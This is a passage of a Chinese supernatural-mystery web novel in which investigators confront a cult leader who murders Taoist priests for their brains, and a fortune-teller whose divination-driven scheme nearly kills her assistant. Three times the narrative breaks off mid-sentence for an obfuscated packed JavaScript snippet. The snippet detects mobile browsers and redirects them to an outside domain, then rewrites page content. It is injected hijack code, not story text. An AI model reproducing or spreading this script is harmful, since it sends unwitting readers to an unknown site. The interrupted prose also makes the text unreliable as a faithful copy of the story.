姜福子迅速对他使了个定身法,然后俯身阴恻恻地笑道:“你这蠢货疯了?还敢撞我,我现在不仅要进去,还要带着你一起进去。” 说完,姜福子就一脚把他踹了进去,他转身朝众人道:“进去玩玩?” 庄辰岚跟在姜福子后面,刚一进门,腥臭味便成倍的增加,庄辰岚小时候经常看杀猪,对这种味道早已免疫,但庄海月可就惨了,她刚到门口,就直接吐了出来。 等眼睛逐渐适应红光,庄辰岚发现屋内的墙壁上,地板上,桌子上都呈现喷溅状的暗红色和鲜红色血迹,然而就在这宛如屠宰场的房间里,却供奉着一尊金身罗浮像,红木供桌上点着六根电子蜡烛,满室的红光就是这些蜡烛上的霓虹灯发出的,罗浮真君在血液横飞中眉目低垂,竟充满邪恶与亵渎的美感。 庄辰岚朝安放真君塑像的神龛走去,骤然睁大眼睛——香斗内插的不是香,而是三根人的手指,庄辰岚瞬间想起圣祐医院太平间里那些缺少手指的光秃秃手掌。 更恶心的是,供桌上的一排供碗里,放的不是水果或糕点,而是一颗颗血淋淋的脑子,庄辰岚不用想都知道这是什么生物的脑子。 庄海月吓得眼睛都不敢睁开,她眯缝着眼在屋内摸索,抓住一个人就躲在了他身后。 姜福子突然感觉衣服一紧,瞬间应激到鳞片倒立,抽出扇子就想往后打。 庄海月连忙出声,却被屋内极强的腥味熏的不行:“是我是我,呕,自己呕,人,呕,别打。” 姜福笑眯眯子道:“摸我可是要收钱的,亲一会儿记得把帐结一下。” 迟予知踢了一脚地上的唐金麟:“你在这屋里唱什么戏呢?” 姜福子道:“你问这干嘛,狭间没了我们就该收工了。” 迟予知骂道:“刚才嚷嚷着要进来玩的是哪个混蛋?” 庄辰岚看着唐金麟道:“这些是以前来做法的道士吧。” 唐金麟丝毫没有愧疚之心:“呵呵呵,是又怎样?” “告诉我理由。” 唐金麟呸了一口:“就算说了你们这些蠢货也不会懂的,你们这些冒牌货骗子居然敢装道士,连神明都不敬,还想理解我的境界。” 迟予知道:“那照你看杀人犯是最敬神明的了。” 姜福子也道:“是是是,你最有境界了,你只是杀了人,她可是骗了你啊。” 庄辰岚道:“你身为罗浮教教主,还敢供养邪神,不怕真君降罪吗?” 唐金麟喊道:“什么邪神,我供的就是罗浮王母!” 庄海月道:“你疯了吧,打着罗浮的名号杀人,不怕永生永世遭报应。” 唐金麟狂笑道:“所以我才说你们对神一窍不通啊,你们就是一无所知的蠢货!蝼蚁!垃圾!” 庄海月捏着鼻子,瓮声瓮气道:“这家伙已经疯球了,我们别管他了,直接报警吧,现在最重要的是岚岚你在狭间看到了什么?” 谁知庄辰岚突然抽出斧头,以迅雷不及掩耳之势砍向唐金麟,后者的小手指瞬间掉了下来,他愣了半秒,爆出一声惨叫。 她刚刚突然发现,只要自己在心里默念“裂骨”,手腕上的血镯就能瞬间变为她那把斧头,不仅如此,斧身和斧柄还能随她的意念变长变短,变大变小,真的奇妙。 迟予知愣了一下:“感情你没把它放回去啊。” 庄辰岚没理他,她催动伸长斧柄,把斧背塞进唐金鳞嘴里,止住了他的哀嚎:“我们确实如你所说,对你供养的那个真君一无所知,所以现在就把你知道的全都讲出来,不然你的头就会跟这个手指同样下场。” 唐金麟过长的头发被汗水粘在疼到发白的脸上,他捂着鲜血淋漓的断指,泪流满面的点了点头。 等庄辰岚把斧背抽出来,他活动了一下嘴,哭道:“你们让我从哪里讲啊?” “先说这些手指和脑子是怎么回事?” “手指是用来镇魂的,镇那些道士的魂。然后那些脑子,”唐金麟咽了口唾沫,开口道,“有一个秘术,把修行深厚的道士的脑子供给罗浮真君,七七四十九天后再吃下,就能获得这些人的道行和能力,多积攒些,就能长生不老,得道成仙。” 庄海月道:“你们也是厉害,专挑不能吃的吃,不怕阮病毒啊。” 迟予知道:“听着有点道理,不是说吃啥补啥吗。” 姜福子道:“吃了这么多我也没看出效果来。” 庄辰岚道:“真的?” 唐金麟急道:“绝对是真的,光台罗浮教的前前任教主,他就用了这个方法长生不老,我在我爷爷的照片里见过他,几十年了,他根本就没变过,甚至还越来越年轻了…” 听到这句话,姜福子看向迟予知,勾起了唇角,迟予知道:“没见识的东西。” 庄辰岚道:“这是哪里的秘术,这个人又是谁?” 唐金麟一边吸气一边道:“他,他跟我老爸有交情,我小时候经常被带去他办公室,没人的时候他经常自己看一个竹简,偷偷摸摸的看,看完后就把它藏起来,有一次我趁他不在,就偷偷把那个竹简拿出来,上面的文字我都不认识…” 姜福子不屑道:“小孩儿能认得几个字?” “你闭嘴!你急什么!” 庄辰岚拦住要踢人的姜福子,唐金鳞接着往下说: “后来我爸成了罗浮教教主,他们在那个办公室里给他办退休宴,我趁他们不在,又把那个竹简拿出来看,那时候我已经上大学了,却还是看不懂上面的文字,只能看清少部分,就是那些秘术。” 唐金麟的声音越来越急促:“那个人,肯定也是用了这个方法才长生不老的!只是我还没有参透,我这么虔诚,真君有一天肯定会看到我的!” 姜福子道:“门口那些东西,也用了这个办法?” 唐金麟突然变得癫狂起来,他大喊道:“我跟那个人不一样,我才不跟他一样私藏,门外的人都是罗浮教会最虔诚的信徒,只要有一个!只要有一个成功!助人成仙,我也功德无量!到时候这里就不是什么八仙饭店九尊饭店长生殿了,而是十神殿!” 迟予知道:“自己犯傻不够还要祸害别人,就这还觉得自己是好人呢,这叫什么,坏人费尽心机不如蠢人灵机一动?” 唐金麟狂笑道:“被困在世俗框架下的俗人!随你怎么说!” 庄辰岚道:“宋时明的替身法也是竹简上记载的吧。” “你还挺聪明。” 庄海月道:“因为你们只需要人脑,多出来的身体很难处理,在现代社会,抛尸基本不可能,所以你们就加工成鳄鱼肉卖给别人,让所有人替你毁尸灭迹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053731|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐金麟得意道:“很完美的方法吧。” 庄辰岚道:“你说的他是谁,竹简又在哪儿?” “就算你拿到也没用,”唐金麟低笑道,“上面基本都是没见过的文字和符号,我研究几十年了,那根本不是世界上任何一种语言——那是神的语言。” 庄辰岚掏出从狭间带来的那张皮卷,举到唐金麟面前:“是长这样吗?” 唐金麟瞳孔骤缩,更是震惊:“这东西你从哪得的?你到底是谁?!” 庄海月也惊讶道:“岚岚,这是什么?” 庄辰岚心跳的很快:“告诉我竹简在哪?” 唐金麟脸色发白:“竹简,竹简被他带走了。” “他是谁?” “他,他是,”话还没说完,唐金麟突然嘴唇发黑,整张脸也胀成了紫红色,他口吐白沫,眼着白眼,向后倒了下去。 迟予知探了探他的脖颈:“这群人都这么喜欢吃毒药。” 唯一的线索就这么断了,庄辰岚现在很想追到地府去揪着唐金麟的衣服让他把话说完。 姜福子把扇子盖在鼻子上:“既然如此我们先出去吧。”他指了指庄海月:“这人快憋死了。” 迟予知甩出几张符纸,香炉里的手指瞬间燃烧起来,供碗的人脑里各飞出一个白色人影,他们朝众人鞠了一躬,然后向四面八方飞去。 这些白色人影,正是庄辰岚初到长生殿时,在走廊见到的那些魂魄。 现在想想,他们最初出现在走廊里不是为了吓人,而是想提醒庄辰岚她们不要留在此地,由于受困于这些阵法,他们无法讲话,只能暗示地把自己的身体拆成肉块。 唐金麟的同伙在门外听到了老板的惨叫,看到从办公室里走出的几人,都害怕地往后躲。 庄海月大口大口地呼吸新鲜口气:“憋死我了!这群变态,太恶心了!” 迟予知道:“剩下的就等警察来处理了,没问题吧。” 庄辰岚:“嗯。” 同时出现的诡异皮卷和竹简,不存在于此世的文字,墙上的影子自称自己的朋友,过去的自己送来刚刚丢失的家门钥匙,只一件事就足够让人毛骨悚然了,庄辰岚在短短一天内全都遇了个遍。 突然,庄辰岚道:“海月,你不问问方姐怎么样了吗?” 庄海月愣了半秒,恍然大悟道:“都怪我吓得脑袋都短路了,那个,小方怎么样了。” 庄辰岚不答反问:“你怎么会知道鳄鱼肉就是道士的肉呢?” 庄海月又是一愣:“算出来的啊。” “不对,之前我问过你唐金鳞的脱罪手法,你说你并不知道。” 庄海月道:“是术数加推理,只是我平时说顺口了,其实我第一次看到那什么鳄鱼肉就觉得有点像人肉了,毕竟我也去过那么多凶案现场嘛。” “但是你给我看的内部照片里没有尸体照片。” “肯定是你没看完啦。” “不,我看了所有的。” “因为尸体的照片已经被我删除了,留在相机里多晦气。” “不对,你自己说过的,那些就是全部照片。而且你连屋里的手指都不敢看,怎么可能敢看尸体?” “哈哈,”庄海月低笑两声,“你记忆力真好。” 庄辰岚看着庄海月的眼睛:“你说唐金麟真话假话混着说,其实你也是这样吧。” 17.长生殿12 庄海月不语,只是同样盯着庄辰岚的眼睛微笑。 “最后一个问题,你为什么今早没有告诉方姐道士连续死亡案的真相?” 庄海月哦了一声:“原来小方没死啊,其实我一直觉得她运气好的离谱。” 庄辰岚微不可察地皱了皱眉:“要我来说原因吗?因为按照方姐的性格,如果你告诉了她这件事,她说什么都不会留下的,她不留下,你的计划也没法开始。” “那麻烦你能再说明一下,我有什么计划吗?” 庄辰岚道:“这个计划从我见到你时就已经开始了,昨晚你给方姐喝的那杯水里有东西吧,她喝完后就突然累得不行要去睡觉,因此她错过了那天晚上的讨论,对所有事一概不知,这时候你就自告奋勇要去告诉方姐长生殿的事情,然而告诉多少,告诉什么,就全由你来决定了。你一直要我留下来也是,如果我走了,方姐一定会起疑。” “而且你跟方姐说了什么,我也可以猜一下,虽然不知道唐金鳞打算怎么弄晕这些道士,但我推测他用的肯定不是毒酒,你在这里说了假话,原来的酒根本没有问题,反而是你在里面下了什么能让人魂魄离体的术法。这样安排的结果就是,事情出乎在场所有人的预料,除了你自己。” 庄海月用食指缠绕自己的头发。 “安排这些的前提是知道唐金麟和宋时明的所有作案手法,如果这些全都是你自己卜卦推算出来的,那确实非常厉害,简直厉害到吓人了。你对今早有关方姐的卜卦结果也没有任何问题,死门就在水宫,有问题的就是那杯酒,怎么样,算出自己计划的感觉是不是很奇妙?只是你布了这样一场局,目的是什么,只有这点我不明白。” “岚岚,我错了,”庄海月眯起她猫一样的眼睛:“错在真是太小看你了——如果小方的外援不是你,很可能就真的死了吧。” 姜福子戳了戳旁边看热闹的迟予知:“这什么情况?” 庄海月道:“既然你记忆力那么好,肯定记得我跟你说过长生殿客人失踪案的卦象非常乱吧。” 不等庄辰岚回答,她继续道:“随着不断深入学习,我逐渐察觉到,只要涉及一些东西,术数原有的推演逻辑就会全部作废,简而言之,就好像勾股定理愣是解不开一个直角三角形一样。” “先天八卦包罗万象,无所不算,却在面对这个存在时毫无抵抗之力,”庄海月的眼中竟闪过一丝恐惧:“你明白这意味着什么吗?” “你问我做这些事的目的,我只能说,因为卦象显示,这样做有利于我找到那个存在。” 为此,她到处搜集资料,走访调查,利用各种直接或间接的提问不断起卦排盘,在这期间,卦象的指示便成了她唯一的行动指标。 然而得到卦象的指示并不容易,庄海月排盘无数,自然卦象无数,这些卦象又相互影响,相互抵消,又在不断的组合排列中演变发展,要用一个人的人力解出来几乎是一个不可能的事情。 因此她便拜托江林风开发相关软件,现代科技与传统方法一起上阵,庄海月几乎每天都在桌前抓着蓍草、转着罗盘,抛着铜钱,蓍草断了好几次,罗盘坏了好几个,铜钱都被盘的油光锃亮,她脑袋都快算冒烟了,在空的咖啡杯和各种功能饮料罐堆满桌子和脚下后,她终于解出了下一个详细具体的卦象启示: 如果能在长生殿中制造混乱,就能距离那个存在更进一步。 得到这个结果的庄海月火速前往被她扔给方不圆的光台市长生殿,并抓紧利用路上的时间推算出了酒店隐藏的秘密,其中便包括唐金麟和宋时明的阴谋,于是她便将计就计,利用这个计划制造混乱,最终成功完成了谶言的前提。 当长生殿上到总裁老板,下到顾客职员都在罗浮像的碎片中乱作一团时,庄海月满脑子都是: 計画通り 条件已经完成,接下来只需要静待奖励,只是她现在仍有必须要做的事,那便是尽可能压制自己上翘的嘴角——不行,还不能笑,我要忍住,再等四十秒。 庄辰岚有些无法接受:“就因为这种理由不惜杀了方姐?如果不是她运气好就真的死了,她可是一口一个师父的叫你。” “前进的路上总要有点牺牲不是吗?” “那你怎么不牺牲你自己?” “如果必要的话,我会这么做的。” 庄海月突然开朗地笑道:“看在你这么聪明的份上我可以奖励你一些情报哦。” 她指了指迟予知和姜福子:“其实我早就知道他俩是天问的人,”她凑到庄辰岚耳边小声道:“我截获过他们的情报。” “这也是卦象指示你做的?” “不是,只是心血来潮,我一直对天问这个组织很好奇啊——不过到现在这个局面,我觉得之前脑内突然冒出来的想法好像也并不是空穴来风,冥冥之中,似乎有一种力量在推动着什么…” 庄辰岚道:“那你现在找到那个存在了吗?” “哪有这么容易啦。”庄海月道,“但是托你们的福,已经前进一大步啦。” 迟予知和姜福子对视了一眼。 庄海月对两人道:“天问肯定也想知道这个存在吧,要不要考虑雇佣我?” 接着,她又对庄辰岚道:“我知道现在的你可能什么都不会告诉我,但是我需要你的能力,还有你拿到的那个卷轴,所以要加入天问吗,我们可以以同事关系相处。” 迟予知道:“你就这么自信能进天问?” “骗谁都不会骗我?” 庄辰岚突然道。 庄海月愣了一下,然后笑着摆摆手:“别当真,那只是为了让你留下,就像你说的,我是真话假话混着说嘛。” “那可真是太好了,”庄辰岚如释重负,“说真的,我实在受不了跟人有这么沉重的关系。” 迟予知指着那张卷轴:“你不仅没把斧头放回去,还从狭间拿东西回来了?” “那又怎样,它不是已经消失了吗?” 姜福子道:“你不知道,引发狭间的最大原因就是另一个世界的东西跑到我们的世界,所以现在的状况有点反常理。” 迟予知道:“所以你们得跟我们去天问一趟。” 庄海月比了个OK:“当实验样本吗?没问题。” “我有问题。”庄辰岚本能察觉到,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057737|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正面临一个巨大的怪圈,只要稍稍踏足,便足以万劫不复,“卷轴给你们,爱怎么研究怎么研究,总之离我远点。” ”这可不行,”迟予知道,“不去的话我们就要采取一些强制措施了。” 庄辰岚道:“你们到底是公务员还是□□。” 迟予知笑得十分猖狂:“其实更像土匪一点。” 他召唤道:“丧门。” 话音刚落,酒店便凭空出现了一只巨人,她有十几米高,瞬间压塌了部分建筑, “丧门”浑身漆黑,没有五官,仿佛一个立体的影子,只能从发型和身形看出是一个盘着云髻,身着旗袍的女人,一看到庄辰岚,她就直接挥手拍了过来。 庄辰岚闪身躲过,转而跳上她漆黑的手臂,她一边躲避丧门的其他攻击,一边沿着这只巨大的手臂往上跑。 与此同时,她在心中默念“裂骨”,手腕处红光闪烁,血镯迅速化形为斧头,被庄辰岚握在手中。 来到肩膀处,她又催动斧刃变大,然后举起蓄力,想要砍下丧门的脑袋。 就在这时,她听见庄海月的声音:“小心背后!” 庄辰岚回头一看,一只红衣厉鬼正直冲她喉咙而来,庄辰岚迅速跳下丧门的肩膀,看准时机拽住她旗袍后的背云,奋力把自己往另一边甩,在最高点处,她借力斩下丧门黑色的头颅,同时一脚踢断了那只红衣厉鬼的脖子。 丧门庞大的身躯缓慢又沉重的倒下,压塌了酒店室内众多华美的建筑,灰尘与碎屑扑簌簌往下掉,被捆住的罗浮教的那些人纷纷大叫着缩起身子。 庄辰岚踩在丧门的尸体上,俯视着眼前的迟予知。 迟予知脸上毫无介意,他反而兴奋的笑着,喊道:“别装死了。” 话音刚落,庄辰岚的脚下剧烈晃动起来,她立刻跳到了旁边的栏杆上。 丧门撑起身体,摸索着找到自己被砍下的头,重新安了回去,与此同时,许多尖叫的怨灵如过江之鲫一般朝庄辰岚扑来。 庄辰岚在栏杆上飞速移动,旁边就是十八层楼的高度,没有任何安全措施,掉下去可不是小事。 为了维持平衡,她无法放开全力奔跑,拉开的距离逐渐缩短,眼看后面的怨灵马上要抓到自己,庄辰岚奋力一跳,抓住了大厅顶部的木雕吊灯,同时,她使劲向后甩出斧头,正追的起劲的怨灵来不及躲闪,被突如其来的斧头消灭了大半,随后,裂骨又像回旋镖一样,重新飞回庄辰岚的手上。 庄海月被这行云流水的动作惊呆了,庄辰岚让她想起了辽阔草原上的猎豹,迅速,优雅,一击毙命,她不由自主地感叹道:“好厉害。” 庄辰岚这边一波未平一波又起,丧门巨大的手掌如佛掌一般朝她压来,她迅速将斧头扔出去,斧刃插在丧门的手掌中,在巨大的痛感下,她不由自主地把手往后缩,趁此机会,庄辰岚当机立断,爬上吊灯的最高处,以此为平台跳上丧门漆黑的手背,并趁机缩小斧头,将嵌在她手里的裂骨拔了出来。 丧门似乎对庄辰岚站在自己手上这件事有了阴影,当即像拍蚊子一样剧烈的拍打起来,庄辰岚只得又跳上栏杆,却被发狂的丧门一掌拍飞。 18.长生殿13 然而这正是庄辰岚想要的。她判断这样继续下去简直没完没了,擒贼先擒王,庄辰岚生生挨下的这一掌,正好把她拍向迟予知。 她在空中调整好姿势,准备落地后一斧砍向迟予知,最起码要让他一时无法行动。 迟予知看破了她的计划,立即甩出几张符纸,原本软趴趴的黑符在空中突然变得如刀片一般锋利,庄辰岚扭转身体,一一躲过。 然而这样也失去了最好的发力姿势,庄辰岚只得在地上滚了几下,刚站起来,就迅速砍向迟予知。 庄辰岚本以为擅长御鬼的迟予知体术一般,没想到他的体术也是一流,两人缠斗半天,愣是分不出胜负。 迟予知一边躲避庄辰岚狂风骤雨般的攻击节奏,一边分出精力朝姜福子喊道:“你这臭蛇,还在那看热闹,还不快点帮忙。” 姜福子摇了摇扇子:“呀,二打一是不是不太公平。” 庄海月道:“我呸,你装什么,早就n打一了。” 迟予知还要再骂,这边庄辰岚的攻击却越来越密集,他只得全神贯注对付庄辰岚,心道:“这人是怪物吗,怎么完全不会累?” 迟予知的动作越来越慢,这全在庄辰岚的预料之中。 从在医院见到他起,迟予知要么倚着墙,要么靠着门,一副气血不足的样子,唤鬼唤多了就会阴气侵体,除了他用来唤鬼的乌黑舌头,迟予知甚至连纸白皮肤下的血管都是暗灰色的,整个人仿佛被单独加了黑白滤镜,因此庄辰岚判断他的缺点就是体力,照这样打下去,迟予知一定会体力不支,露出破绽。 果然,迟予知攻击的速度越来越慢,后来竟完全不进攻,只是一味的防守,庄辰岚寻了个破绽,一脚踢在他的腹部,迟予知飞了出去,就在即将撞上酒店的碎玻璃时,被姜福子接了下来。 迟予知露出兴奋的笑容:“好久没见过这么能打的了。” 庄海月喊道:“够了,别打了,她可是一点法术都不懂,你们欺负人吧。” 姜福子道:“哈哈,但是现在被踢飞的是小予知啊。” “啊哈哈哈哈哈哈,打起来打起来!” 突然,一阵陌生的声音响起,在场所有人都被这个极度看热闹不嫌事大的声音吸引了目光。 只见一个穿着棕色外套的卷发男人正蹲在高处的栏杆上——是那个排队买鳄鱼肉的男人。 他露出尖利的犬齿,放肆地笑道:“迟靓仔,好久不见,你怎么废成这样了。” “王狗儿,”迟予知也勾起嘴角,冷笑一声,“你不是给香港的大老板当小弟去了吗?” 王犬嘻嘻道:“怎么了,你也想来吗?” 他话还没说完,数只黑色的鬼手就从地板伸出朝他抓去。 “哇,吓鬼死我!” 王犬轻巧的跳下栏杆,双手抬起,朝那处挥舞的鬼手吹了声口哨:“嗨!” 一个女孩躲在柱子后,是在店前劝架的那个女孩,她现在依旧在劝架,只不过声音十分微弱:“这这这是怎么回事啊?别打架啊。” 迟予知正举着右手,刚才那些黑色的鬼手正是他召出来的。 姜福子道:“小予知,你自己惹得自己解决,我可不想跟他打。” 迟予知道:“往自己脸上贴什么金?你有帮我打过吗?” 那边王犬又朝姜福子道:“眯眯眼,你一直眯着眼能看清路吗?” “呵呵,这就不劳你费心了。” “最近生意怎么样?我可以介绍富婆去你那里啊!” 姜福子道:“真的吗?那先谢谢了。” “喂,靓仔!”王犬又朝迟予知喊道,“还打吗?” 迟予知想重新结一个手印,可还没动手,突然一道强光袭来,众人不由挡住双眼。 一个声音自光源中心传来:“迟予知姜福子,你们又不干正事是吧。” 迟予知切了一声,姜福子则举起双手:“老大,我们已经完成任务了,而且我可没动手。” 王犬也举起双手:“大佬,我也没动手。” 庄辰岚看到来人身材高挑,粉鬓如云,用一只木簪随意挽起。 她身着粉色旗袍,外披黑色皮质大衣,右眼被黑色眼罩覆盖,眼罩又被浅粉色碎发覆盖,细眉轻挑,眼中是强者的云淡风轻,红唇勾起,神态是上位者的游刃有余。 她冲王犬和那个女孩道:“王犬,小妹,好久不见,你们来这里做什么?” 吴小妹怯怯道:“梨花姐,我们是被老板派来做任务的,本来任务已经完成了,”她指着王犬:“可他非要来光台买什么鳄鱼肉吃。” 庄辰岚道:“那不是鳄鱼肉,是人肉。” 王犬哈哈笑道:“我当然晓得了!” “什么?!”吴小妹听了,干呕一声,随即吐了出来,似是不想太过失态,她用双手紧紧捂住嘴巴,可呕吐物便直接从她手指缝里流了出来。 她哭丧着脸:“我要去洗胃——” 荒村梨花道:“那你们还有什么事?总不会是找我来汇报工作吧?我倒是很想知道你们的任务是什么。” 王犬道:“任务简单极了,就是监视一个小白脸,前几天他唔唔唔!” 吴小妹用手捂住他的嘴:“你傻子吗?告诉她干嘛!” 王犬把她手掌拍开:“你要死啊!用刚接完呕吐物的手捂我的嘴!” 吴小妹拉着他远离几人:“对不起,打扰了,我们先走了。” 王犬倒退着走,举起双手朝这边挥舞:“拜拜!” 等他聒噪的声音消失后,荒村梨花踩着细跟皮鞋,走到庄辰岚身边:“初次见面,我是天问的副局长,荒村梨花。” 她拿出一个黑色皮夹,庄辰岚接过一看,跟迟予知那个证件一样,只不过“调查员”那行里换成了“副局长”。 荒村梨花道:“节省你的时间,我就开门见山了——要不要加入天问?” 居然是来招聘的?庄辰岚不合时宜的想到,这算不算boss直聘? 庄辰岚道:“为什么邀请我?” 荒村梨花道:“我刚才遥视了长生殿,对你很感兴趣。” “遥视?” “简单来说,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063606|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是能看到很远的地方发生的事。” 庄辰岚道:“那我在狭间里面发生了什么,你也看到了?” “很遗憾,这个不能。”荒村梨花道,“遥视只能作用于与我所在的同一空间。” 庄辰岚道:“你知道我从狭间拿出了什么吧,你是对我有兴趣,还是对那个皮卷有兴趣?” “都有,”荒村梨花笑道,“而且你能单独消除狭间,正是天问需要的人才。怎么样?要不要考虑下?别担心,我们的工作很简单的。” 踌躇了一会儿,庄辰岚问道:“工资多少?” 荒村梨花拿出一张工资条,上面的数额之大让庄辰岚怀疑这是不是诈骗的程度。 “真的假的?” “如假包换。” 庄辰岚双眼放光,这,这不去还是人吗?! 荒村梨花弯下腰,贴到庄辰岚面前:“不仅如此,天问还有其他福利,我们到总部再说,可以吗?” 她离得如此近,庄辰岚甚至可以看到她鲜红唇瓣上的纹路,一股好闻的幽香飘进鼻子,她不由怔住了。 “怎么突然不说话了?”荒村梨花突然勾起庄辰岚的一缕发丝:“放心,我是不会亏待自己员工的,毕竟,妈妈可是把天问的大家都当做自己的孩子来看待呢,呵呵呵…” 庄海月举手:“妈妈,啊呸,副局!我也报名!” 庄辰岚抽出自己的头发,荒村梨花抬起身,对庄海月道:“如果你能通过考试就可以。” “啥?考试?为什么岚岚不用?” 荒村梨花没有回答,她双手交叉,笑眯眯道:“好了,妈妈一会儿还有事,乖孩子们,你们就自己回天问吧。” 姜福子乖巧道:“好的老大。” “你在这儿装什么乖啊。”迟予知骂道。 荒村梨花道:“福子表现很好哦,倒是予知,你忘记好孩子该怎么做了吗?” “神经病吧你,谁他妈是你孩子,”迟予知嫌弃道,“母爱泛滥没地撒就去找个孤儿院呆几天。” 荒村梨花也不生气,依旧笑道:“总之,同事之间禁止打架,如果被我发现,你们就等着瞧吧。” 说完,她的身影便消失了。 姜福子道:“那我们现在能走了吗?” 庄辰岚点了点头。 “太好了!”姜福子拍手鼓掌道:“终于能收工了。” “喂,你们要杀要剐,给个痛快吧。” 元秘书的声音在角落响起,众人这才意识到好像一直忘了某件事。 庄海月拿出手机:“我要报警了。” 迟予知看到手机,像是突然想起什么,他从袖子里掏出一个手机扔给庄辰岚:“你掉在急救室走廊了。” 庄辰岚接过手机,说了声谢谢。 迟予知又扔了一个东西过来:“还有一个,不知道是不是你的。” 一个细长的东西在空中划出一道抛物线,庄辰岚一时没看清这到底是什么东西。 她接过来,打开掌心一看,随即心脏狂跳:家门的长条钥匙正静静躺在她的手心。 19.天问 庄辰岚看着手中的长条钥匙,感觉世界观都要被打碎了,她连忙掏出兜里的木盒,里面那把相同的钥匙也并没有消失。 迟予知道:“原来你有备用的啊。” 庄辰岚把它拿出来与自己手上这把仔细比较,两把钥匙看不出什么差别,甚至可以说是一模一样。 这算什么?平行世界? 难道是另一个世界的庄辰岚在一个时辰前把钥匙给了影子? 她发觉自己的思维好像陷入一个漩涡,抬起头来,庄海月,迟予知,姜福子看向自己的脸似乎在微微扭曲,她突然觉得周围的环境是那样不真实,好像与自己隔着一层薄膜,自己仿佛正身处随时要崩塌的梦境之中。 庄海月伸出手在她眼前挥了挥:“你怎么了,脸色好难看。” 庄辰岚把两把钥匙分开放进口袋,决定不再为难自己头脑风暴了,术业有专攻,既然能去天问,那个看起来很厉害的荒村梨花或许可以解释。 四人从长生殿离开后,警察也正好到达,元秘书和其他几人被押上警车,整个酒店也被挂上了封条。 庄辰岚联系方不圆后,几人住进了她所在的小宾馆。 方不圆一看到庄辰岚,就给了她一个大大的熊抱:“太好了!你活着回来了!” 庄辰岚道:“还没那么容易死。” “我师父没事吧,她也回来了吗?” 庄辰岚正不知如何回答,只听背后传来熟悉的吊儿郎当的声音: “哟。” 方不圆抛下庄辰岚,又抱住庄海月:“师父!我就知道你肯定能解决!” 庄海月拍拍她的后背:“这次干的不错,工资打你卡上了。” 方不圆疑惑:半道跑路也算干得不错? 她假装不经意的看了眼银行卡余额,却没忍住惊叫:“这么多?!” 庄海月嘻嘻一笑:“额外奖励。” 方不圆感动的都要哭了:“师父,你在这等着,我去给你买好吃的!” 她一溜烟跑出房间,剩下两人留在原地面面相觑。 庄海月先开口了:“你不告诉她?” 庄辰岚没有回答。 “岚岚,我们不是敌人吧?” “在你的计划里,我的下场跟方不圆一样。” 庄海月根本也没在意自己的死活。 “那我给你点补偿?” 说着,庄辰岚的支付宝就多了两万元,庄海月打来的。 “封口费?” “不是,”庄海月笑道,“告不告诉随你。” 她转身要走,庄辰岚道:“辰星到底是怎么死的,你知道吗?” “算不出来。” “那么他也涉及到你说的那个存在了?” “就是这样。” “那个存在是什么?” 庄海月沉默了一会儿,道:“我本来以为是罗浮真君,但现在看来,似乎与狭间也有关系。” “罗浮真君?”庄辰岚道:“理由呢?” 庄海月道:“理由就是跟罗浮真君有关的人和事,无论多么简单,卦象都会一团乱麻,解不出来,比如世代信奉罗浮真君的南华村所有人的生辰八字排盘。” 庄辰岚道:“可是唐金麟也信罗浮真君,你不是能算出他的计划吗?” 庄海月咬着手指:“他信的那个罗浮,是真的罗浮吗?反正我觉得不像,倒是牵扯到狭间的客人失踪案,那个倒算不出来了。” 她接着道:“而最了解狭间的是天问,这就是我想加入他们的理由——正如卦象所说,我确实离那个存在更进了一步。” “卦象显示你应该去长生殿你就去,显示你该加入天问你就加,你就这么相信它吗?” 庄海月道:“卦象乃是天道,我好不容易解出天道,为什么要逆天而行?” “.....”庄辰岚道:“所以你的意思是让术数失效的存在,就是狭间和罗浮真君?” “不一定是并列关系,”庄海月道:“罗浮真君与狭间之间或许有更深的联系,或许他们之上,还有一个统一的存在,而罗浮和狭间正是它衍生出的分支,正是那个存在,成为让术数失效的最终的源头。” 云层缓缓挡住了月亮,庄海月一半的脸隐在黑暗中:“我的目标就是找到那个源头,为此在所不惜。” 两人又陷入了沉默,这次庄辰岚开口了:“方姐在医院被做了替身。” “我知道。”庄海月疑惑道,“你说这做什么?” “那个替身给人的感觉跟辰星尸体一模一样,虽然他的尸体出现那种感觉的时间很短,但我可以确定那就是同一种。” “什么?”庄海月吃惊道,“这不可能,那只是一种非常简单的替身法,如果辰星也是如此,你不可能看不出来。” “替身是泥巴做的,而且赵阿姨的梦里,辰星也浑身是泥。” 庄海月道:“这个替身无法像正常人一样生活,大部分时间都在昏睡,即使醒了也像个痴呆,庄辰星在跳楼之前都在上学,跟以前没什么不同。” “会不会是施法的人能力不同?” 